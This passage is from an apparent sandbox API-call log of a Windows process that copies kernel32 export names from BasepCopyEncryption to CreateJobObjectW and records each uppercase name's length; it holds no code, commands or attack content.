lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0148.561] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0148.561] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0148.561] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0148.561] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0148.561] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0148.561] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0148.561] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0148.561] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0148.561] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0148.561] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0148.561] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0148.561] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0148.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0148.561] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0148.562] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0148.562] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0148.562] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0148.562] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0148.562] lstrlenA (lpString="BEEP") returned 4 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0148.562] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0148.562] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0148.562] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0148.562] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0148.562] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0148.562] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0148.562] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0148.562] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0148.562] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0148.562] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0148.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0148.563] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0148.563] lstrlenA (lpString="CANCELIO") returned 8 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0148.563] lstrlenA (lpString="CANCELIOEX") returned 10 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0148.563] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0148.563] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0148.563] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0148.563] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0148.563] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0148.563] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0148.563] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0148.563] lstrlenA (lpString="CHECKELEVATION") returned 14 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0148.563] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0148.563] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0148.563] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0148.563] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0148.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0148.563] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0148.564] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0148.564] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0148.564] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0148.564] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0148.564] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0148.564] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0148.564] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0148.564] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0148.564] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0148.564] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0148.564] lstrlenA (lpString="CLOSESTATE") returned 10 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0148.564] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0148.564] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0148.564] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0148.564] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0148.564] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0148.565] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0148.565] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0148.565] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0148.565] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0148.565] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0148.565] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0148.565] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0148.565] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0148.565] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0148.565] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0148.565] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0148.565] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0148.565] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0148.565] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0148.565] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0148.565] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0148.565] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0148.566] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0148.566] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0148.566] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0148.566] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0148.566] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0148.566] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0148.566] lstrlenA (lpString="COPYCONTEXT") returned 11 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0148.566] lstrlenA (lpString="COPYFILE2") returned 9 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0148.566] lstrlenA (lpString="COPYFILEA") returned 9 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0148.566] lstrlenA (lpString="COPYFILEEXA") returned 11 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0148.566] lstrlenA (lpString="COPYFILEEXW") returned 11 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0148.566] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0148.566] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0148.566] lstrlenA (lpString="COPYFILEW") returned 9 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0148.566] lstrlenA (lpString="COPYLZFILE") returned 10 [0148.566] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0148.567] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0148.567] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0148.567] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0148.567] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0148.567] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0148.567] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0148.567] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0148.567] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0148.567] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0148.567] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0148.567] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0148.567] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0148.567] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0148.567] lstrlenA (lpString="CREATEEVENTA") returned 12 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0148.567] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0148.567] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0148.567] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0148.568] lstrlenA (lpString="CREATEEVENTW") returned 12 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0148.568] lstrlenA (lpString="CREATEFIBER") returned 11 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0148.568] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0148.568] lstrlenA (lpString="CREATEFILE2") returned 11 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0148.568] lstrlenA (lpString="CREATEFILEA") returned 11 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0148.568] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0148.568] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0148.568] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0148.568] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0148.568] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0148.568] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0148.568] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0148.568] lstrlenA (lpString="CREATEFILEW") returned 11 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0148.568] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0148.568] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0148.568] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0148.568] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0148.569] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0148.569] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0148.569] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0148.569] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0148.569] lstrcpyA (in: lpString1=0x38bdb2c, 